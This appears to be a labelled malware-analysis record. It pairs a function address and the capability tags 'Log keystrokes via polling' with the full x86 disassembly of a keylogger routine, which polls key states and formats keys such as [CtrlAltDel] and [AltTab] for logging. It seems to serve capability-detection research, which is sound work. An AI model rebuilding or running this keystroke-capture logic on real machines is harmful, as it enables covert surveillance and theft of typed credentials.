Function at 0x100022cd
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8c
mov eax, dword [0x1007200c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, edx
lea eax, [ebp - 0x44]
push 0x40
push 0
push eax
movzx esi, word [edi + 6]
mov ebx, ecx
call fcn.10020410
movzx eax, word [edi + 2]
add esp, 0xc
cmp eax, 3
je 0x100023f4
cmp eax, 1
je 0x100023f4
cmp eax, 2
je 0x10001f92
test ax, ax
jne 0x100023fa
mov eax, esi
mov esi, dword [sym.imp.USER32.dll_GetKeyState]
push 0x14
mov byte [eax + ebx], 1
call esi
push 0x91
call esi
push 0x90
call esi
push ebx
call dword [sym.imp.USER32.dll_GetKeyboardState]
movzx eax, word [edi + 6]
add eax, 0xfffffff8
cmp eax, 0xf7
ja case.0x10001fd0.10
movzx eax, byte [eax + 0x10002474]
jmp dword [eax*4 + 0x1000240c]
push str._BP_
lea eax, [ebp - 0x44]
push 0x20
push eax
call fcn.10002ae0
add esp, 0xc
jmp 0x100023ca
push 0x12
call esi
test ax, ax
lea eax, [ebp - 0x44]
jns 0x10002010
push str._AltEsc_
push 0x20
push eax
call fcn.10002ae0
add esp, 0xc
jmp 0x100023ca
push str._Esc_
push 0x20
push eax
call fcn.10002ae0
add esp, 0xc
jmp 0x100023ca
push str._En__r_n
lea eax, [ebp - 0x44]
push 0x20
push eax
call fcn.10002ae0
add esp, 0xc
jmp 0x100023ca
push 0x12
call esi
test ax, ax
lea eax, [ebp - 0x44]
jns 0x1000205e
push str._AltTab_
push 0x20
push eax
call fcn.10002ae0
add esp, 0xc
jmp 0x100023ca
push str._Tab_
push 0x20
push eax
call fcn.10002ae0
add esp, 0xc
jmp 0x100023ca
push str._Clear_
lea eax, [ebp - 0x44]
push 0x20
push eax
call fcn.10002ae0
add esp, 0xc
jmp 0x100023ca
push str._Caps_
lea eax, [ebp - 0x44]
push 0x20
push eax
call fcn.10002ae0
add esp, 0xc
jmp 0x100023ca
push 0x12
call esi
test ax, ax
lea eax, [ebp - 0x44]
jns 0x100020c4
push str._AltSp_
push 0x20
push eax
call fcn.10002ae0
add esp, 0xc
jmp 0x100023ca
push str._Sp_
push 0x20
push eax
call fcn.10002ae0
add esp, 0xc
jmp 0x100023ca
push str._PgUp_
lea eax, [ebp - 0x44]
push 0x20
push eax
call fcn.10002ae0
add esp, 0xc
jmp 0x100023ca
push str._PgDn_
lea eax, [ebp - 0x44]
push 0x20
push eax
call fcn.10002ae0
add esp, 0xc
jmp 0x100023ca
push str._End_
lea eax, [ebp - 0x44]
push 0x20
push eax
call fcn.10002ae0
add esp, 0xc
jmp 0x100023ca
push str._Home_
lea eax, [ebp - 0x44]
push 0x20
push eax
call fcn.10002ae0
add esp, 0xc
jmp 0x100023ca
push str._Left_
lea eax, [ebp - 0x44]
push 0x20
push eax
call fcn.10002ae0
add esp, 0xc
jmp 0x100023ca
push str._Up_
lea eax, [ebp - 0x44]
push 0x20
push eax
call fcn.10002ae0
add esp, 0xc
jmp 0x100023ca
push str._Right_
lea eax, [ebp - 0x44]
push 0x20
push eax
call fcn.10002ae0
add esp, 0xc
jmp 0x100023ca
push str._Down_
lea eax, [ebp - 0x44]
push 0x20
push eax
call fcn.10002ae0
add esp, 0xc
jmp 0x100023ca
push str._Sel_
lea eax, [ebp - 0x44]
push 0x20
push eax
call fcn.10002ae0
add esp, 0xc
jmp 0x100023ca
push str._Prt_
lea eax, [ebp - 0x44]
push 0x20
push eax
call fcn.10002ae0
add esp, 0xc
jmp 0x100023ca
push str._Ins_
lea eax, [ebp - 0x44]
push 0x20
push eax
call fcn.10002ae0
add esp, 0xc
jmp 0x100023ca
push 0x10
call esi
test ax, ax
jns 0x10002202
push str._ShiftDel_
lea eax, [ebp - 0x44]
push 0x20
push eax
call fcn.10002ae0
add esp, 0xc
jmp 0x100023ca
push 0x12
call esi
test ax, ax
jns 0x1000222c
push 0x11
call esi
test ax, ax
jns 0x1000222c
push str._CtrlAltDel_
lea eax, [ebp - 0x44]
push 0x20
push eax
call fcn.10002ae0
add esp, 0xc
jmp 0x100023ca
push str._Del_
lea eax, [ebp - 0x44]
push 0x20
push eax
call fcn.10002ae0
add esp, 0xc
jmp 0x100023ca
push str._PrtSc_
lea eax, [ebp - 0x44]
push 0x20
push eax
call fcn.10002ae0
add esp, 0xc
jmp 0x100023ca
push str._Num_
lea eax, [ebp - 0x44]
push 0x20
push eax
call fcn.10002ae0
add esp, 0xc
jmp 0x100023ca
push str._Win_
lea eax, [ebp - 0x44]
push 0x20
push eax
call fcn.10002ae0
add esp, 0xc
jmp 0x100023ca
push str._Fn_
lea eax, [ebp - 0x44]
push 0x20
push eax
call fcn.10002ae0
add esp, 0xc
jmp 0x100023ca
push 0x11
call esi
test ax, ax
jns 0x100023ca
push str._CtrlShift_
lea eax, [ebp - 0x44]
push 0x20
push eax
call fcn.10002ae0
add esp, 0xc
jmp 0x100023ca
push 0x10
jmp 0x100022a6
push 0x11
call esi
test ax, ax
jns 0x10002312
push 0x20
lea eax, [ebp - 0x84]
push eax
movzx eax, word [edi + 6]
push 0
push eax
call dword [sym.imp.USER32.dll_MapVirtualKeyW]
movzx eax, ax
shl eax, 0x10
push eax
call dword [sym.imp.USER32.dll_GetKeyNameTextW]
test eax, eax
jle 0x100023ca
lea eax, [ebp - 0x84]
push eax
push str._Ctrl_s_
jmp 0x100023bc
push 0x12
call esi
test ax, ax
jns 0x10002354
push 0x20
lea eax, [ebp - 0x84]
push eax
movzx eax, word [edi + 6]
push 0
push eax
call dword [sym.imp.USER32.dll_MapVirtualKeyW]
movzx eax, ax
shl eax, 0x10
push eax
call dword [sym.imp.USER32.dll_GetKeyNameTextW]
test eax, eax
jle 0x100023ca
lea eax, [ebp - 0x84]
push eax
push str._Alt_s_
jmp 0x100023bc
mov esi, dword [sym.imp.USER32.dll_MapVirtualKeyW]
lea eax, [ebp - 0x88]
push 0
push eax
movzx eax, word [edi + 6]
push ebx
push 0
push eax
call esi
push eax
movzx eax, word [edi + 6]
push eax
call dword [sym.imp.USER32.dll_ToAscii]
cmp eax, 1
jne 0x1000238d
movsx eax, byte [ebp - 0x88]
push eax
push 0x10068910
jmp 0x100023bc
push 0x20
lea eax, [ebp - 0x84]
push eax
movzx eax, word [edi + 6]
push 0
push eax
call esi
movzx eax, ax
shl eax, 0x10
push eax
call dword [sym.imp.USER32.dll_GetKeyNameTextW]
test eax, eax
jle 0x100023ca
lea eax, [ebp - 0x84]
push eax
push str.__s_
lea eax, [ebp - 0x44]
push 0x20
push eax
call fcn.10002ae0
add esp, 0x10
push ecx
lea eax, [ebp - 0x44]
mov ecx, esp
push eax
call fcn.10002a20
mov ecx, 3
call fcn.10004060
add esp, 4
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10007975
mov esp, ebp
pop ebp
ret
mov eax, esi
mov byte [eax + ebx], 0
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10007975
mov esp, ebp
pop ebp
ret